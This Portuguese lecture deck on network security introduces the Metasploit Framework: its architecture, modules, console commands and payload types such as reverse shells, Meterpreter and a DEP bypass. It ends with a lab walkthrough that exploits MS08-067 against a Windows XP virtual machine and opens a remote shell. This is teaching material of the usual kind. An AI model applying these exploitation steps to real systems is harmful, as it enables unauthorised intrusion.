Escolar Documentos
Profissional Documentos
Cultura Documentos
Aula 05
Agenda de Aula
• Metasploit Framework
Segurança de Redes
Metasploit Framework
“If I had eight hours to chop down a tree, I’d spend the first six of them sharpening my axe.”
Abraham Lincoln
"Se eu tivesse oito horas para derrubar uma árvore, eu passaria as primeiras seis delas afiando meu machado."
Segurança de Redes
MSF
• Esta sentença lembra sempre que resolver um problema
com o conjunto certo de ferramentas é imperativo para
obter sucesso.
Segurança de Redes
MSF
Versões da ferramenta:
Segurança de Redes
MSF - Arquitetura
Segurança de Redes
MSF - Bibliotecas
REX
• A biblioteca básica para a maior quantidade de tarefas
• Lida com sockets, protocolos, conversões de texto e outros
• SSL, SMB, HTTP, XOR, Base64, Unicode
Msf::Core
• Fornece a API ‘basic’
• Define o Metasploit Framework
Msf::Base
• Fornece a API ‘friendly’
• Fornece APIs simplificadas para utilizar no Framework
Segurança de Redes
MSF - Módulos
Exploits
• Definido como módulos que usam payloads
• Um exploit sem um payload é um “módulo auxiliar”
Segurança de Redes
MSF - Localizações
Árvore de módulos primários
• Localizado dentro de /opt/metasploit/msf3/modules/
Segurança de Redes
MSF - Interfaces
• MSFConsole
• MSFcli
• Web
• Armitage
Segurança de Redes
MSF – Interfaces - MSFconsole
Segurança de Redes
MSF – Interfaces - MSFconsole
Benefícios:
Segurança de Redes
MSF – Interfaces - MSFconsole
Entrando:
Segurança de Redes
MSF – Interfaces - MSFconsole
Ajuda:
• Você pode adicionar o parâmetro “-h” ao msfconsole para ver outras
opções de utilização: “msfconsole –h”.
Segurança de Redes
MSF – Interfaces - MSFconsole
Comandos do msfconsole
Segurança de Redes
MSF – Interfaces - MSFconsole
• load: carrega um plug-in do diretório de plug-ins do Metasploit.
– loadpath: carrega uma árvore de módulos de terceiros, para que
você possa endereçar o Metasploit para “0-day exploits”, encoders,
payloads, etc.
– unload: descarrega um plugin que foi carregado anteriormente e
remove seus comandos extendidos.
Segurança de Redes
MSF – Interfaces - MSFconsole
• search: uma função de busca baseada em expressões
regulares. Se você tem apenas uma ideia genérica sobre o que
está procurando, pode encontrar através do comando “search”.
Este comando permite refinar buscas usando outras chaves de
sistemas:
– type: procura a chave por tipo de módulo: auxiliar, post, exploit, etc
(search type:post)
• use: após decidir qual módulo deseja utilizar aplique o comando “use”
para selecioná-lo. Este comando troca seu contexto para o módulo
específico, permitindo que você utilize os comandos do módulo em
questão.
Segurança de Redes
MSF - Exploits
• Um exploit é um módulo pelo qual um atacante ou pentester se
aproveita de uma falha de um sistema, aplicação ou serviço.
Segurança de Redes
MSF - Exploits
• Exploits Ativos: exploits ativos irão explorar um host
específico, rodar até o final e sair.
Segurança de Redes
MSF - Exploits
• O exemplo a seguir faz uso de credenciais adquiridas
previamente para exploitar e obter um shell reverso no
sistema alvo.
Segurança de Redes
MSF - Exploits
• Exploits passivos: exploits passivos esperam por hosts entrarem e
rodam o exploit neles quando se conectam.
Segurança de Redes
MSF - Exploits
• O exemplo a seguir mostra a configuração para exploitar
a vulnerabilidade do cursor animado. O exploit não é
disparado até que a vítima navegue no site malicioso do
atacante.
Segurança de Redes
MSF - Payloads
• Um payload é um código que nós desejamos que o sistema execute, o que significa ser
selecionado e entregue pelo framework.
• Por exemplo, um “shell reverso” é um payload que cria uma conexão da máquina alvo
para o computador do atacante na forma de um prompt de comandos do Windows.
• Um payload também pode ser algo simples como alguns poucos comandos que devam
ser executados no sistema operacional da vítima.
Segurança de Redes
MSF - Payloads
• Inline (no staged): um payload único contendo um exploit e um código shell
completo para a tarefa selecionada. Payloads Inline são, por definição, mais
estáveis que os demais por conterem tudo em um único payload. Entretanto,
alguns exploits não suportarão o tamanho resultante desse payload.
Segurança de Redes
MSF - Payloads
• Meterpreter: A abreviação de Meta-Interpreter é um payload avançado e
multi-facetado que opera via injeção de dll. O Meterpreter fica armazenado
completamente na memória do host remoto e não deixa rastros no disco
rígido, dificultando a detecção de técnicas forenses convencionais.
Segurança de Redes
MSF - Payloads
• NoNX: O bit NX (No eXecute), é uma funcionalidade de algumas CPUs
que evitam que um código seja executado em certas áreas da memória.
No Windows o NX é implementado como o DEP – Data Execution
Prevention. O payload NoNX do Metasploit foi desenvolvido para burlar
o DEP.
Segurança de Redes
MSF - Payloads
Segurança de Redes
Exemplo - MSF
Segurança de Redes
Exemplo
Cenário:
• Vítima
- Máquina virtual no Oracle Virtual Box com adaptador de rede configurado como "Rede Interna".
- Instalado Windows XP SP2.
- IP 192.168.1.100.
•
Atacante
- Máquina virtual no Oracle Virtual Box com adaptador de rede configurado como "Rede Interna".
- Rodando Live CD doBacktrack
- IP 192.168.1.50.
Aqui verificamos que a vítima está rodando o Windows XP SP2 e configuramos sua rede:
Segurança de Redes
Exemplo
Na máquina do atacante, rodando o Live CD do Backtrack,
configuramos a rede com o comando "ifconfig eth0
192.168.1.50 netmask 255.255.255.0".
Segurança de Redes
Exemplo
Uma vez que as máquinas já se enxergam, vamos abrir a interface
gráfica do Backtrack com o comando "starxt".
Segurança de Redes
Exemplo
Agora é hora de verificar quais portas abertas o computador da vítima possui usando o “nmap”. Nessa
sintaxe, utilizaremos um arquivo de script para checar se o computador remoto é vulnerável a alguns ataques
específicos, no nosso caso, ao MS08-067, uma vulnerabilidade do Windows RPC que pode permitir a execução
remota de comandos.
Note na tela abaixo que o nmap ja verifica se o sistema está ou não vulnerável ao MS08-067. É muito
importante não rodar essa checagem num ambiente de produção pois existe uma grande possibilidade de ela
travar o sistema remoto, então novamente, execute em ambiente controlado.
Segurança de Redes
Exemplo
Agora que sabemos que o sistema é vulnerável, vamos
procurá-lo para saber exatamente o nome do exploit que
precisamos utilizar com o comando "search ms08-067".
Segurança de Redes
Exemplo
Agora que já selecionamos o exploit a ser utilizado, vamos analisar as opções que
ele precisa para executar.
Segurança de Redes
Exemplo
Vamos verificar quais os payloads disponíveis para esse
exploit. Digite o comando "show payloads".
Segurança de Redes
Exemplo
Uma lista com diversos payloads será exibida.
Segurança de Redes
Exemplo
Se olharmos as opções novamente, agora teremos acesso as variáveis
necessárias do exploit, do payload e também do alvo (target).
Segurança de Redes
Exemplo
Ao invés de utilizarmos o target automático como a
imagem acima sugere, vamos verificar quais são os
alvos disponíveis para refinarmos nosso ataque.
Segurança de Redes
Exemplo
Hora de definir as variáveis.
Vamos definir o target como 34 através do comando "set
TARGET 34". Vamos definir também as demais variáveis
necessárias. Digite os comandos "set RHOST
192.168.1.100" e "set LHOST 192.168.1.50".
Segurança de Redes
Exemplo
Se você exibir suas configurações novamente, verá que
todas as variáveis já foram definidas.
Segurança de Redes
Exemplo
Uma vez que todas as variáveis foram configuradas, vamos
rodar finalmente o exploit com o comando "exploit".
Segurança de Redes
Exemplo
Executando o comando "help", você pode ver a
quantidade de comandos que podem ser digitados nessa
sessão aberta no computador do usuário.
Segurança de Redes
Exemplo
Note que na seção de comandos de sistema, temos um
comando chamado "shell", que abre um shell de
comandos no sistema remoto.
Segurança de Redes
Técnicas de invasão – Wi-fi
• Bibliografia
• http://www.offensive-security.com/metasploit-
unleashed/Service_Identification
Segurança de Redes